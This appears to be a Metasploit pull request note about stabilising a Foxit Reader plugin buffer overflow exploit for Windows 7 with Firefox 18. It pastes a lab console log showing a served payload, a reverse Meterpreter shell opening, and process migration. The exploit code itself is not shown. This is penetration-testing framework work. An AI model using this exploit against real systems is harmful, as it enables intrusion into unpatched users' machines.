Make stable #1318 foxit reader exploit

Since there is a long time since #1318 had been closed, I'm making this exploit stable, I wouldn't like to lose it, works on Windows 7 SP1 with Firefox 18 bypassing dep plus aslr :)

Tested with Foxit Reader version 5.4.4.11281

Test:

```
msf  exploit(foxit_reader_plugin_url_bof) > rexploit
[*] Stopping existing job...
[*] Server stopped.
[*] Reloading module...
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.128:4444 
[*] Using URL: http://0.0.0.0:8080/1XRcbHWGKL0EY
[*]  Local IP: http://192.168.1.128:8080/1XRcbHWGKL0EY
[*] Server started.
msf  exploit(foxit_reader_plugin_url_bof) > [*] Sending stage (752128 bytes) to 192.168.1.128
[*] Meterpreter session 1 opened (192.168.1.128:4444 -> 192.168.1.128:53806) at 2013-02-12 18:42:32 +0100
[*] Session ID 1 (192.168.1.128:4444 -> 192.168.1.128:53806) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: plugin-container.exe (3604)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 1468
[+] Successfully migrated to process 

msf  exploit(foxit_reader_plugin_url_bof) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : WIN-RNJ7NBRK9L7
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter > 

```